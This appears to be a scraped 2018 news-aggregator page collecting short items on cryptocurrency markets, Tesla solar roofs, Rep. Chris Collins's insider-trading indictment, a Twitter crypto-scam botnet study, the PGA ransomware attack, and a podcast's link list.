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eMarket is a Digital Goods Selling Multi-Vendor Platform suitable for Online Marketplace, Download Website, Content Selling, Script, Software or Apps Selling Website. Its developed with PHP Laravel & mySQL. eMarket Support Almost 16 Online Payment methods including most popular CryptoCurrency. emarket is Secure, Bugs Free, Responsive, Affordable & Easy to Installable Solution. USER Features: ↝ […]
          Cryptocurrencies-Thematic Research Analysis Of Key Players Bitcoin, Ethereum, Ripple, Bitcoin Cash, EOS,Litecoin, Stellar Lumens, Cardano, Tether, Iota, Tron, Monero, Neo, Dash, Binance, Ethereum Classic, Vechain, NEM, Ontology, Qtum, OmiseGo, Zcash, Icon      Cache   Translate Page   Web Page Cache   
(EMAILWIRE.COM, August 08, 2018 ) In fairness, all currencies are a confidence trick. The US dollar, British pound, and the Euro all depend on nothing more than market confidence for their value. The extent to which a currency works effectively is a function of a range of factors and this report...
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Increasing usage of cryptocurrency by retailers is anticipated to drive the growth of the global cryptocurrency mining equipment market over the forecast period.
          Only 12 Tesla solar roofs were reportedly connected to the grid in California at the end of May (TSLA)      Cache   Translate Page   Web Page Cache   

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  • Only 12 Tesla solar roofs were connected to the grid in California as of May 31, Reuters reports.
  • The publication said Tesla has faced delays in its efforts to ramp up production of its solar roof tiles due to assembly-line issues at its Buffalo, New York, factory and the challenges involved in meeting CEO Elon Musk's aesthetic expectations. 
  • Tesla declined to comment on the number of solar roofs it has installed.
  • During Tesla's second-quarter earnings call, Musk said there are "several hundred homes with the solar roof on them." A Tesla spokesperson told Business Insider that the cited number includes homes that are in the installation process or are scheduling an installation, in addition to homes where installation has been completed.


Only 12 Tesla solar roofs were connected to the grid in California as of May 31, Reuters reports.

The publication said Tesla has faced delays in its efforts to ramp up production of its solar roof tiles due to assembly-line issues at its Buffalo, New York, factory and the challenges involved in meeting CEO Elon Musk's aesthetic expectations. 

Tesla declined to comment on the number of solar roofs it has installed. A Tesla representative said the company is ramping up solar roof production and will increase the rate of production near the end of this year.

The representative referred Business Insider to a comment Musk made during the company's second-quarter earnings call in which he said there are "several hundred homes with the solar roof on them." The representative said that number includes homes that are in the installation process or are scheduling an installation, in addition to homes where installation has been completed.

During the call, Musk said the solar roof testing process is time-consuming.

“It's quite a long validation program for a roof which is going to last for 30, 40, 50 years," he said.

Tesla's solar roof — which consists of a series of solar panels that resemble roof tiles and are meant to cover a customer's entire roof — is a major selling point for the company. It was designed to be more aesthetically pleasing than typical solar panels and more durable than traditional roof tile materials like clay, slate, and terra cotta.

Tesla began taking reservations for the solar roof in May 2017 and said installations would begin that summer, but the first installations for customers who weren't Tesla employees didn't begin until April 2018.

In its first-quarter earnings report this year, Tesla said it anticipated a significant increase in solar roof production during the second half of the year. 

Read Reuters' full story here.

Have a Tesla news tip? Contact this reporter at mmatousek@businessinsider.com.

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Stocks were mixed Wednesday despite a recent wave of upbeat corporate earnings as a new round of tariffs between the US and China dragged energy companies lower. The dollar and Treasury yields fell. 

Here's the scoreboard:

Dow Jones industrial average25,583.55 −45.36 (-0.18%)

S&P 500: 2,861.20 +2.75 (+0.096%)

Nasdaq Composite 7,888.33 +4.66 (+0.06%)

  1. Another $16 billion worth of US exports to China — including oil products and cars — will be subject to a 25% tax. After the Trump administration followed through with a 25% tariff on an additional $16 billion of Chinese goods, Beijing retaliated in kind. The latest tariffs, which bring the running total of targeted goods to $50 billion for both China and the US, are set to take effect August 23.
  2. Washington rolled out punitive sanctions against Moscow for the poisoning of ex-spy Sergei Skripal and his daughter in March. The measures came amid pressure from Congress and months after the UK issued sanctions penalizing the Kremlin for the poisoning, which took place on British soil.
  3. Saudi Arabia's central bank ordered its fund managers to dump Canadian bonds, stocks and cash. The move came after Canada's foreign ministry criticized Saudi Arabia for its arrests of prominent human-rights activists and called for their release. Saudi Arabia's state airline is also set to suspend flights to and from Toronto Pearson International beginning next week. 
  4. Earnings season rolls on. 21st Century Fox and Roku report after the bell — follow Business Insider here for live updates. 

And a look at the upcoming economic calendar:

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          Indicted Rep. Chris Collins shows why members of Congress should not trade stocks      Cache   Translate Page   Web Page Cache   

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  • Rep. Chris Collins, a prominent backer of President Donald Trump in Congress, has been indicted on allegations of insider trading, along with his son and his son's fiancée's father.
  • Collins is on the board of an Australian pharmaceutical company. The US Securities and Exchange Commission alleges that he tipped his son about a failed clinical trial and that the son and associates saved $750,000 by trading on the tip.
  • This is a really stupid thing to allegedly have done.
  • Why are members of Congress even allowed to trade stocks or sit on corporate boards? So they can pull this nonsense and get indicted? 

Every time I read a criminal complaint about insider trading, my first thought is: How did they possibly think they were going to get away with this?

Of course, when there is a criminal complaint, that often means you are well on your way to not getting away with it.

Perhaps insider traders seem like morons who should have known what was coming to them because what we see in the news are cases with charges, which are the dumbest, most obvious cases of insider trading. There may be a lot of situations where criminals are being slightly more careful and getting away with it.

Or maybe not! The Financial Industry Regulatory Authority would like you to know it has algorithms to detect this sort of thing. I certainly recommend against insider trading, careless or otherwise.

Anyway: Rep. Chris Collins, a New York Republican who gave President Donald Trump his first congressional endorsement, has been indicted on allegations of insider trading in a case with an extremely obvious, how-were-you-dumb-enough-to-try-this fact pattern.

Get a load of this

Here's what's laid out in complaints from the US Securities and Exchange Commission and the US Attorney's Office for the Southern District of New York (Collins has pleaded not guilty):

  • Collins sits on the board of Innate Immunotherapeutics, an Australian biopharmaceutical company in which he is also the largest shareholder.
  • On June 22, 2017, Collins learned that Innate's main drug had failed clinical trials, a grave outcome for Innate's financial condition.
  • Literally seconds after learning this news, Collins contacted his son, Cameron, who at the time owned 2% of Innate.
  • Over the following four days, Cameron Collins and several other associates of the Collinses proceeded to liquidate their positions in Innate before the public announcement of the drug failure on June 26, after which the stock fell 92%. They saved approximately $750,000 by selling before the announcement.
  • Innate is not an especially large company. As a result, per the SEC: "The sales by Cameron Collins, his girlfriend, and her parents, including Stephen Zarsky, made up more than 53% of the stock's trading volume [on June 23] and exceeded Innate's 15-day average trading volume by more than 1,454%."

Perhaps it is sometimes possible to trade on insider information and have those trades go unnoticed amid a sea of non-insider trades. But if the nonpublic information you're trading on is likely to tank the stock price by more than 90%, and your trades are going to make up about 15 times the stock's typical daily trading volume, and your close associate sits on the company's board of directors, it is probably not best to assume your trades will get lost in the shuffle.

This leads me to a question.

Is Chris Collins an idiot?

If the purpose of the seven calls in six minutes between Collins and his son that came immediately after Collins learned about the clinical-trial failure was, as alleged, to tip his son so he and other associates of theirs could sell, why would Collins have thought he would get away with that?

Was it because the trading wasn't on his own account and he thought the SEC wouldn't be able to draw a link between him and [checks notes] his son — even though Collins was already the focus of a congressional ethics investigation related to Innate?

Was it because he thought he and his son could just talk the FBI into the idea that the sales were unrelated to the clinical-trial news? Oops, now Collins and his associates have also been indicted on allegations they lied to the FBI.

Collins' public defense against these charges has focused on a fact prosecutors do not dispute: Even as his associates were selling, he did not liquidate his own, much larger stake in Innate. That might seem like a tiny bit of prudence in a sea of recklessness — among other matters, Collins would have had to publicly disclose the dates and amounts of his sales under rules pertaining specifically to members of Congress.

But as the SEC complaint says, it's possible Collins didn't sell because he literally couldn't. Unlike his son, he had not completed paperwork to transfer his stock to the US, where one could trade it on the over-the-counter market. His stock was stuck in Australia, where trading of Innate on the Australian Securities Exchange had been halted — because of the impending announcement of the clinical-trial failure.

OpenSecrets estimated, based on disclosure forms, that Collins' net worth was nearly $70 million as of 2015. I realize $750,000 is kind of a lot of money even if you have $70 million, but is it really worth risking the destruction of your career and, you know, prison in order to help your friends save that kind of money?

I wouldn't think so. But I do have a theory: One might develop an unhealthy attitude toward law-breaking and risk if one had previous success in enriching oneself through such an attitude.

Members of Congress should not trade stocks

Last January, I wrote that members of Congress should not trade stocks. I meant that as a policy proposal — that members of Congress should be prohibited from trading stocks — but the Collins incident provides a reason to take it also as investing advice.

As the liberal-leaning group Citizens for Responsibility and Ethics in Washington has pointed out, at least five sitting Republican members of the House bought stock in Innate in 2017. We don't know exactly why they bought shares in an obscure Australian pharmaceutical company, though former Rep. Tom Price, who went on to become Trump's secretary of health and human services, said he did so after learning about the company from Collins.

Those members' investments have presumably performed quite poorly, as they did not have Price's luck of needing to divest themselves of Innate shares to take a Cabinet position. (There is no cause, in Wednesday's complaints or elsewhere, to believe Collins tipped any of his colleagues that Innate's stock was about to plummet in June 2017.)

Collins' links to Innate Immunotherapeutics had drawn negative attention before because of Collins' role overseeing drug companies as a member of the House Energy and Commerce Committee. But even favorable legislative action is not enough to make a pharmaceutical company valuable if its main drug doesn't work.

So maybe we can now say that a rule forcing members of Congress not to engage in individual stock trading wouldn't just be in the public interest — it may even be for those members' own good, helping them stay out of junky pharmaceutical stocks their colleagues give them "hot tips" about, and helping them stay out of prison.

And I can add another proposal: Members of Congress shouldn't be allowed to serve on the boards of publicly traded companies. The SEC is seeking to apply this rule to Collins specifically, on insider-trading grounds, but a blanket ban would prevent some conflicts of interest and also some embarrassing scandals like this one.

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          Rapper 50 Cent, Who Bragged About Owning Bitcoin, Now Denies It      Cache   Translate Page   Web Page Cache   
First, he forgot about owning millions of dollars' worth of bitcoin. Then he bragged about it. Now, 50 Cent, who is filing for bankruptcy, says he never owned any of the digital currency after all. As NPR's Bill Chappell reported last month , the rapper, whose given name is Curtis Jackson, acknowledged in a 2014 Reddit discussion that he had accepted bitcoin in partial payment for his Animal Ambition album. A TMZ report subsequently reported an estimate of the amount he received was about 700 bitcoins. At the time, individual units of the volatile cryptocurrency would have been worth a few hundred dollars each, but today, bitcoin is valued at around $10,000. In a (since deleted) Instagram post in January, the rapper bragged about his discovered windfall, saying he "forgot" that he had owned it. However, in a bankruptcy filing late last week , lawyers for the artist told the court that the recent media reports "falsely stated" that he owned any bitcoin at all. "[The] Debtor has never
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          Banks explore a safe deposit box for cryptocurrencies      Cache   Translate Page   Web Page Cache   
They are disinclined to talk about it much yet, but the big three trust banks as well as JPMorgan and Goldman are said to be mulling custody services that would help shield wealthy bitcoin investors from theft. Here are the selling points and the risks.
          This Crypto Scam Botnet Consists of Over 15,000 Separate Bots      Cache   Translate Page   Web Page Cache   
This Crypto Scam Botnet Consists of Over 15,000 Separate Bots

Researchers at Duo Labs have discovered that Twitter is home to at least 15,000 scam bots and have published their findings in a new report.

Between May and July of 2018, staff members observed, collected and analyzed nearly 90 million public Twitter accounts that had released over 500 million tweets. In addition, researchers also examined elements of each account including profile screen names, number of followers, avatars and descriptions to gather one of the largest accumulations of Twitter data ever studied.

Among the report’s most interesting finds was a sophisticated “cryptocurrency scam botnet,” which consists of at least 15,000 separate bots. The botnet ultimately siphons money from individual users by posing as cryptocurrency exchanges, news organizations, verified accounts and even celebrities. Accounts in the botnet are programmed to deploy malicious behaviors to evade detection and look like real profiles.

Researchers were also able to map the botnet’s three-tiered structure, which consists of “hub” accounts that are followed by many bots, scam publishing bots, and amplification bots that specifically like tweets to increase their popularity and appear legitimate.

Olabode Anise, a data scientist and co-author of the report, explained, “Users are likely to trust a tweet depending on how many times it’s been retweeted or liked. Those behind this particular botnet know this and have designed it to exploit this very tendency.”

To discover the scam bots, researchers utilized subsets of varying machine-learning algorithms and built features that could train them to locate the bot accounts. Among the five considered algorithms were AdaBoost, Logistic Regression, Random Forest, Naive Bayes and Decision Trees. It was discovered that Random Forest outperformed the other algorithms during the initial testing phases. From there, three individual models of the algorithm were trained to deal with both social and crypto spam bots.

Researchers discovered that bot accounts follow certain behaviors, which, once identified, made them easier to recognize. For example, bot accounts often tweet in short bursts, causing the average times between messages to remain low, while actual Twitter users often wait longer periods between their tweets.

Some methods for evading discovery, however, are more sophisticated. Bots often use unicode characters in tweets rather than traditional ASCII characters. They also use screen names that are typos of spoofed accounts’ screen names, and add white spaces between words and punctuation marks. Profile pictures are also edited to prevent image detection. Finally, many bots appear to follow the same accounts.

Twitter has suspended cryptocurrency spam bots in the past and usually identifies fake accounts quickly. Nevertheless, executives appear to have missed several portions of the latest scam project.

A Twitter spokesperson claimed, “Spam and certain forms of automation are against Twitter’s rules. In many cases, spammy content is hidden on Twitter on the basis of automated detections. When spammy content is hidden on Twitter from areas like search and conversations, that may not affect its availability via the API. This means certain types of spam may be visible via Twitter’s API even if it is not visible on Twitter itself. Less than 5% of Twitter accounts are spam-related.”


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          DJ Who “Turned Down Wall St.” Is On a Quest to Decentralize Music Festivals      Cache   Translate Page   Web Page Cache   
DJ Who “Turned Down Wall St.” Is On a Quest to Decentralize Music Festivals

Independent DJ Justin Blau (known on stage as 3LAU) didn’t exactly stumble into the cryptocurrency industry — to say so would misrepresent how much thought he’s put into his blockchain-based event network, Our Music Festival (OMF). But at the very least, his introduction to the space came through a touch of serendipity.

Blau became formally acquainted with blockchain technology and cryptocurrencies after a chance meeting with the Winklevoss twins at a music festival in 2014. The Winklevosses were making their own debut into the industry, as they were in the early stages of building their Gemini exchange at the time.

After hitting it off with the up-and-coming DJ, they invited Blau back to their penthouse, a welcome alternative to crashing at an  exorbitant downtown hotel, Blau admitted in an interview with Bitcoin Magazine. That night — and the blockchain-centric conversation that dominated it — had Blau hooked on the young and novel tech.

“I very quickly saw all the ways in which blockchain [technology] could disrupt the music business and all aspects of the music business — from digital music to live music to manager and artist relationships — disintermediating the entire business as a whole. And I just found myself thinking about it all the time.”

Business moguls and financial thoroughbreds as the Winklevosses are, the encounter may have felt a little like looking into a rearview mirror for Blau. Before dropping out of Washington University in St. Louis to pursue a music career — a decision encouraged by one of his finance professors — he was in line for an internship fast track to Wall Street. Instead of following in his father’s footsteps for a career in finance, he set out to ride the momentum of his early days playing frat parties and college shows across the nation, a move that earned him the title “The DJ that turned down Wall Street” from Forbes.

So in connecting with the Winklevosses, the doors of the financial industry were opened to him again — only this time, the door was to a niche and highly stigmatized five-year-old field. Still, this same door opened up the possibility to reimagine his current occupation under a new economic model.

“After I performed my first ether transfer — I paid a Dutch company at 1:00 a.m. on a Saturday night in ETH for some animation work — I was like, ‘Holy crap, this is insane! Instant transfer of value. And that’s when I really started to dive in and learn as much as I possibly could and ask myself, ‘How could I be a part of it?’”

The answer became clear in August of 2017. After consuming crypto-related literature with voracious curiosity and attending blockchain conferences, Blau began mixing with some of the space’s leading innovators and professionals with help from the Winklevosses and some of his old college friends who had made their careers in tech.

“I just had all of these people who were very powerful, making introductions for me, and that’s when I started diving in deeper,” he said.

And Blau has found his place in the industry: on stage, both as host and performer, at the world’s first blockchain-powered music festival. Coming to fruition on October 20, 2018, Our Music Festival’s first iteration will be held at the Greek Theatre at UC Berkeley, with German-Russian DJ Zedd headlining, and Big Sean, Matt and Kim, and Charlotte Lawrence on the lineup, as well.

At its inception, OMF began as an effort to tokenize live music events. In essence, Blau explained, it’s goal was to decentralize the entire process, giving fans a degree of control over lineup curation and even a share of the festival’s revenue.

But as the space evolved and tokens entered the regulatory conversation, things became complicated.

“I think it’s important for any blockchain startup to be honest about the scope of the project,” Blau said in the interview. “It became really difficult to keep [to our original model], given the regulatory environment. We shifted to this utility token model, where the token represents demand for the festival as a product. And then we shifted again and asked, ‘So how do we do both?’ And that’s where we are now.”

For its inaugural year, the festival will be blockchain-related inasmuch as fans will be able to pay for tickets in crypto as well as fiat. They’ll also issue paper Ethereum wallets to all fans once they check in to the festival, a gesture in line with the educational insight Blau hopes the festival’s blockchain/crypto information booths will offer to its attendees.

Come next year, Blau hopes to integrate blockchain tech even further into the festival’s features. He wants to enable payments in OMF tokens, as well as to launch a reward system that allows fans to earn OMF by inviting friends to the festival, buying tickets early and committing data and feedback to the OMF ecosystem.

These tokens will also be used for discounts and promotions within the festival grounds, and Blau even intends to leverage them to give fans access to their favorite artists, backstage passes and VIP experiences.

In the far future, Blau wants Our Music Festival to tap into blockchain technology’s decentralized, peer-powered ethos to give fans a say in the festival’s lineup and a share of its revenue.

But to get there, Blau and his startup must reason and reckon with the industry’s technological and regulatory growing pains.  

“We have to adapt as we go and that’s the biggest challenge for any company in an evolving space. Network scalability and regulatory environment are our biggest challenges,” he stated.

From a legal standpoint, Our Music Festival cannot offer revenue sharing, lest the U.S. Securities and Exchange Commission (SEC) sees these payouts as dividends and its OMF token deemed a security. On the scalability front, Blau believes that the Ethereum network needs to mature before the festival can fully decentralize and implement more blockchain-driven functions.

If the network fails for whatever reason and someone can’t get into the festival, it’s a huge loss for the technology as a whole.

“In year one, we’re only going to start rolling out features if we know we can execute them. Because our biggest risk is the fan experience. If the network fails for whatever reason and someone can’t get into the festival, it’s a huge loss for the technology as a whole,” Blau reasoned.

“Year one is really kinda a launch event. Year two, start building out some of the tech. Year three to year five, our primary goals are giving fans ownership and enabling fans to vote for the lineups for these events. And in the long-term, even let them create their own small events.”

Until the long-term becomes the immediate present, the festival will “gradually decentralize over time,” Blau said, espousing “a firm belief in minimum viable centralization … to bring [his] concept to the mainstream.”

Helping him in his efforts, OMF features a stacked team of both music and tech industry professionals. COO Adam Lynn serves as co-founder and president of Prime Social Group, a concert and event company responsible for 900 events, 19 festivals and 400,000 ticket sales annually. Kevin Edelson, the company’s CMO, has a history of PR work for Universal Music Group and Red Light Management, among others.

For smart contract and blockchain development, Our Music Festival leverages the work and talents of Zach LeBeau, Shreesh Tiwari and G. Thomas Esmay, the core team at SingularDTV, a blockchain studio that focuses on digital media and entertainment.

Blau hopes that in bringing tech and creative professionals together, OMF will catalyze blockchain integration into the music industry. As for Blau, he’s hoping he can serve as a guiding intermediary between both industries.

There’s a little bit of a disconnect between existing industries and blockchain startups and my goal is to be that bridge. To show the tech people and engineers what people like me need, to bring the music business a little more across the fence into the space. So that’s my personal goal — to be the bridge.

This article originally appeared on Bitcoin Magazine.


          ShapeShift Acquires Tool That Quickly Swaps Bitcoin for Other Cryptos – CoinDesk      Cache   Translate Page   Web Page Cache   

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myBTCcoin 12:25 PM ShapeShift has acquired a startup that developed a tool for exchanging cryptocurrencies more efficiently. The company said Wednesday that it acquired the Texas-based Bitfract after it made the tool – allowing for the exchange of bitcoin for “dozens of digital assets in a single transaction” using the company’s API. The idea is that […]

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          The Crypto Market Just Hit a New Low for 2018 – CoinDesk      Cache   Translate Page   Web Page Cache   

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myBTCcoin 12:25 PM The total market capitalization for all cryptocurrencies just fell to its lowest point in 2018. The developments come after the US Securities and Exchange Commission (SEC) delayed a decision on a proposed bitcoin exchange-traded fund (ETF). The news triggered a market reaction, ultimately sending the total value of all cryptocurrencies down to $227.8 […]

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          Crypto-Backed Loan Provider SALT Expands to 35 US States – CoinDesk      Cache   Translate Page   Web Page Cache   

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myBTCcoin 10:25 AM Cryptocurrency-backed loan provider SALT Lending announced it has expanded into 20 new U.S. states on Wednesday. The firm, which allows users to borrow cash against their cryptocurrency holdings, is now available in 35 states, including Washington D.C. Also revealed today is a new tech platform for SALT clients, which the firm says […]

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          Bitcoin Outlook Sours As Price Sheds 70% of Recent Rally – CoinDesk      Cache   Translate Page   Web Page Cache   

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myBTCcoin 8:25 AM Bitcoin’s (BTC) recent downtrend has deepened in the wake of the Securities and Exchange Commission’s (SECs) decision to delay the exchange-traded-fund (ETF) ruling. The leading cryptocurrency was expected to stage a minor corrective rally in the last 24 hours, having defended the key 50-day moving average (MA) support earlier this week. However, […]

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          Top 20 Best Bitcoin Cryptocurrency Trading Bots (Review)      Cache   Translate Page   Web Page Cache   
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Bots have been used by humans for the purpose of having an extra hand in performing the task which is already being performed by humans in an expeditious pace or without an intervention 24/7. These bots can be programmed for both, efficaciously ethical and maliciously ruinous purposes with web crawler being one of the very […]
          Blockchain bug hunters feature prominently at this year’s Pwnie Awards      Cache   Translate Page   Web Page Cache   

Researchers have been diligently prodding cryptocurrency and blockchain companies for kinks in their security – and it seems some of them are finally getting recognition for their work. Three researchers are up for Pwnie Awards this year – an annual showcase of the best and worst in information security. Little toy ponies are given to the most deserving hackers and security researchers. MIT Digital Currency Initiative director Neha Narula and Boston University researcher Ethan Heilman have been nominated for “Best Cryptographic Attack” after cracking a hash function in popular cryptocurrency IOTA. In addition to that, ConsenSys security engineer Bernard Mueller…

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          With $417K, EOS accounts for two-thirds of all cryptocurrency bug bounties in 2018      Cache   Translate Page   Web Page Cache   

As interest, adoption, and venture funding in blockchain tech continue to rise, so do attacks from hackers. In an effort to counteract potential threats, a growing list of startups in the cryptocurrency space have opted to launch programs to invite hackers to disclose vulnerabilities responsibly – instead of exploiting them for personal gains. And data suggests the strategy is working. The total number of blockchain companies with active vulnerability disclosure programs has almost doubled since last year, according to HackerOne stats shared exclusively with Hard Fork. The stats also suggests the overall number of vulnerability submissions for blockchain companies is also…

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          Electron Cash Wallet Now Available for Basic Feature Phones      Cache   Translate Page   Web Page Cache   

This past February news.Bitcoin.com reported on the firm Coingeek announcing funding the Electron Cash programming team. Since then, the bitcoin cash (BCH) centric wallet Electron Cash has seen a bunch of development with Coinshuffle integration, and a new iOS version of the wallet. Now another version of the Electron Cash wallet has launched which can […]

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          Never doubt Bitcoin (BTC) it will deliver huge wins, here are five reasons why      Cache   Translate Page   Web Page Cache   
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After the fantastic bullish run Bitcoin experienced last December, it’s been going down consistently, and it’s been dragging the whole market down with it. Because the bearish run has prolonged for so long already, it’s easy to forget that Bitcoin is probably the best possible long-term bet among all cryptocurrencies so, if you’re feeling down […]

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          Actualización de Mercados: Los Precios De Las Criptomonedas Bajan Después Del Anuncio De La SEC      Cache   Translate Page   Web Page Cache   

Las criptomonedas están cayendo en valor una vez más este miércoles 8 de agosto, ya que la mayoría de los principales activos digitales han caído entre un 9 y un 18 por ciento en las últimas 24 horas. Ayer comenzaron a caer los precios, luego de que la Comisión de Bolsa y Valores (SEC, por […]

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          El Diario: Coinbase Aumenta sus Límites De Operaciones, ABCC Abre en Malta y Omniex Contrata a Antiguos Reguladores      Cache   Translate Page   Web Page Cache   

Hoy es miércoles y en la edición de hoy de El Diario presentaremos un par de anuncios de Coinbase: la plataforma de intercambio de criptomonedas de EE.UU. permitirá realizar compras instantáneas con mayores límites de operaciones diarias y ahora está aceptando depósitos de ETC en su plataforma Coinbase Pro. También hemos cubierto la apertura de […]

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          And now professional golf is being ransomed for bitcoin      Cache   Translate Page   Web Page Cache   
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Raise that single gloved-hand to your mouth in shock: The hackers have gone after golf.

America's last bastion of proud visor-wearers is scrambling this week, after unknown criminals took over the PGA of America’s servers on Tuesday — locking the golf association out of its files just days before the official Aug. 9 start of the PGA Championship in Missouri. And you better believe those hackers want bitcoin

SEE ALSO: Ransomware has been around for almost 30 years, so why does it feel like it's getting worse?

That's right, the PGA was hit with ransomware

So reports Golfweek, which notes that the now-encrypted files include "extensive promotional banners and logos used in digital and print communications," in addition to "development work on logos for future PGA Championships." Read more...

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          Crypto's $600 Billion Crash Hits New Low as Bitcoin Pain Spreads       Cache   Translate Page   Web Page Cache   

The pump and dump schemes which prevailed during the most aggressively bullish portion of the cryptocurrency bubble helped to attractive speculative flows but also act as a headwind to longer-term investors who might otherwise have had an interest.


          Blockchain Applications and Smart Contracts: Developing with Ethereum and Solidity-P2P      Cache   Translate Page   Web Page Cache   
The Blockchain and cryptocurrency are important tools for a decentralized market that needs to protect its speed, security, and reputation. Blockchain technologies are being researched by the largest corporations to securely transact and run their business. The concept of smart contracts, micro finance, and transparent transactions are all benefits of the Blockchain. This course will [...]
          Bitcoin analysis for August 08, 2018      Cache   Translate Page   Web Page Cache   

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Trading recommendations:

According to the 15M time frame, I found that sellers are in control. I also found a potential bearish flag in creation, which is a sign of weakness. My advice is to watch for a potential breakout of the upward trendline to confirm further downward continuation. The downward target is set at the price of $6.051.

Support/Resistance

$6.521 – Intraday resistance

$6.348– Intraday support

$6.051 – Objective target

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          SEC delay on cryptocurrency ETF is more a speed bump than a red flag, market insiders say - MarketWatch      Cache   Translate Page   Web Page Cache   

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SEC delay on cryptocurrency ETF is more a speed bump than a red flag, market insiders say
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The cryptocurrency community was dealt another blow Tuesday when the Securities and Exchange Commission said it had pushed back the timing of a decision on the first-ever crypto-related exchange-traded fund. Despite the setback on the application ...
Bitcoin Is Plunging on Wednesday -- Here's WhyNasdaq
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          HUMANCOIN ICO      Cache   Translate Page   Web Page Cache   
Humancoin adalah cryptocurrency e-commerce baru yang didorong oleh protokol penambangan Proof of Charity Humancoin.net atau yang kini dikenal sebagai Humancoin adalah terobosan proyek blockchain yang dapat menyatukan filantropis dan penerima dana melalui platform tunggal dengan cara yang paling nyaman dan transparan. Humancoin adalah platform revolusioner yang dapat mengubah industri filantropi untuk kebaikan, yang diciptakan secara […]
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Trust Currency: A name that influences faith and security.

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          #weirdo - fintechelicious      Cache   Translate Page   Web Page Cache   
08.09 I just • L O V E • New, Unknown, Unlike, Now an Complex. Normal wanted to join us. Offered him a seat, but all seats were taken by the rest. Normal left as quick as he entered my room! #weirdo . . . . . . . . #innovation #programmer #exchange #trading #cryptocurrency #stockexchange #geek #development #iamsterdam #nerd #php #golang #angular2 #javascript #blockchain #thenextgenerationstockexchange #ceolife #womenintech #entrepreneur #robot #technology #trader #trading #tradingengines #developer #bitcoin #tech #bank #fintech
          South African Releases Draft Cryptocurrency Tax Law      Cache   Translate Page   Web Page Cache   
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          Japan to Focus Cryptocurrency Regulation on Speculative Investments      Cache   Translate Page   Web Page Cache   
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          UNCoin (UNC) Market Cap Hits $0.00      Cache   Translate Page   Web Page Cache   
UNCoin (CURRENCY:UNC) traded flat against the U.S. dollar during the 1-day period ending at 21:00 PM Eastern on July 17th. One UNCoin coin can now be purchased for $0.0001 or 0.00000001 BTC on major cryptocurrency exchanges. UNCoin has a market capitalization of $0.00 and $0.00 worth of UNCoin was traded on exchanges in the last […]
          TRON (CRYPTO:TRX) Market Cap Reaches $1.62 Billion      Cache   Translate Page   Web Page Cache   
TRON (CURRENCY:TRX) traded 10.2% lower against the U.S. dollar during the 1 day period ending at 20:00 PM ET on July 17th. One TRON coin can now be purchased for approximately $0.0246 or 0.00000391 BTC on major cryptocurrency exchanges including Zebpay, CoinTiger, LiteBit.eu and Bitbns. TRON has a total market cap of $1.62 billion and […]
          KanadeCoin (KNDC) Achieves Market Capitalization of $1.27 Million      Cache   Translate Page   Web Page Cache   
KanadeCoin (CURRENCY:KNDC) traded down 14.2% against the dollar during the one day period ending at 20:00 PM Eastern on August 8th. Over the last seven days, KanadeCoin has traded down 16.3% against the dollar. One KanadeCoin token can currently be bought for about $0.0002 or 0.00000004 BTC on cryptocurrency exchanges including CoinExchange and Mercatox. KanadeCoin […]
          IOTA Price Reaches $0.62 on Major Exchanges (MIOTA)      Cache   Translate Page   Web Page Cache   
IOTA (CURRENCY:MIOTA) traded 13.9% lower against the US dollar during the 24-hour period ending at 20:00 PM E.T. on July 17th. One IOTA coin can currently be purchased for about $0.62 or 0.00009889 BTC on major cryptocurrency exchanges including Coinone, OKEx, Gate.io and Cobinhood. IOTA has a market capitalization of $1.73 billion and $69.24 million […]
          Zetacoin (ZET) Achieves Market Cap of $330,005.00      Cache   Translate Page   Web Page Cache   
Zetacoin (CURRENCY:ZET) traded 7.8% lower against the U.S. dollar during the 1 day period ending at 20:00 PM E.T. on August 1st. One Zetacoin coin can currently be purchased for about $0.0020 or 0.00000031 BTC on cryptocurrency exchanges including Cryptopia, CoinEgg and YoBit. Zetacoin has a total market capitalization of $330,005.00 and $43,021.00 worth of […]
          Shorty (SHORTY) Market Cap Achieves $826,788.00      Cache   Translate Page   Web Page Cache   
Shorty (CURRENCY:SHORTY) traded flat against the U.S. dollar during the one day period ending at 20:00 PM E.T. on August 1st. One Shorty coin can currently be bought for about $0.0083 or 0.00000127 BTC on cryptocurrency exchanges. Shorty has a market cap of $826,788.00 and $0.00 worth of Shorty was traded on exchanges in the […]
          QLC Chain Price Reaches $0.0406 on Exchanges (CRYPTO:QLC)      Cache   Translate Page   Web Page Cache   
QLC Chain (CURRENCY:QLC) traded 3.4% lower against the U.S. dollar during the 24 hour period ending at 20:00 PM Eastern on August 1st. One QLC Chain token can currently be purchased for about $0.0406 or 0.00000643 BTC on major cryptocurrency exchanges including Switcheo Network, Kucoin, Coinnest and Gate.io. During the last seven days, QLC Chain […]
          CCNT “Soul in Silico & Filter Dysmorphia” - 08.08.2018      Cache   Translate Page   Web Page Cache   

This week on Canary Cry NewsTalk, Forbes publishes pro-transhumanist and anti-god propaganda; plastic surgeons are noticing Snapchat dysmorphia; an update on Flippy’s growing family, and Bezos could do so much better. If you want MORE, Become a Patron, join the exclusive community, and receive Extended Reports of CCNT every week!

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YOU HEARD IT HERE FIRST FOLKS! (Updates on stories)

Ancestry and 23andMe Agree to New Rules to Make You Feel Safer Handing Over Your DNA

Tesla suspends shares after Elon Musk tweets he wants to take the carmaker private

 

TECHNOLOGY/AI

AI Vs. God: Who Stays And Who Leaves?

The future of artificial intelligence is the toaster

New Artificial Intelligence Device Identifies Objects at the Speed of Light

Particle physicists team up with AI to solve toughest science problems

World class AI experts share what their favorite algorithm is

Video Friday: Professor Ishiguro’s New Robot Child, and More - IEEE Spectrum

Lip-reading artificial intelligence could help the deaf—or spies | Science | AAAS

ai: The beginning of a wave: AI tiptoes into the workplace - The Economic Times

Ethics and the pursuit of artificial intelligence | South China Morning Post

Artificial intelligence: Scary predictions for AI

20 terrifying uses of artificial intelligence - TechRepublic

BBC - Future - 12 new tech terms you need to understand the future

 

BIOMEDICAL/GENETICS/TRANSHUMANISM

Shivom is creating a genomic data hub to elongate human life with AI | VentureBeat

Captain America on Mars - Scientific American Blog Network

Genetics technology could lead to more crops, fresher food

 

CRYPTOCURRENCY/B-B-B-BLOCKCHAIN

Weed's Biggest Wedding Announcement Just Happened And Cryptocurrency Is The Bride

 

CONSPIRACY THEORIES AND SOMETIMES FACTS!

Freemasons Reportedly Ready to Welcome Transgender Women - Sputnik International

Are you being recorded while placed on hold? - abcactionnews.com WFTS-TV

Alex Jones' Infowars Still Not Banned On App Stores, Instagram And Twitter

#QAnon, the pro-Trump conspiracy theory, explained - Vox

Why the GOP is so easily infiltrated by bonkers conspiracy theorists - The Washington Post

 

SPACE/ALIEN/ETs/UFOs

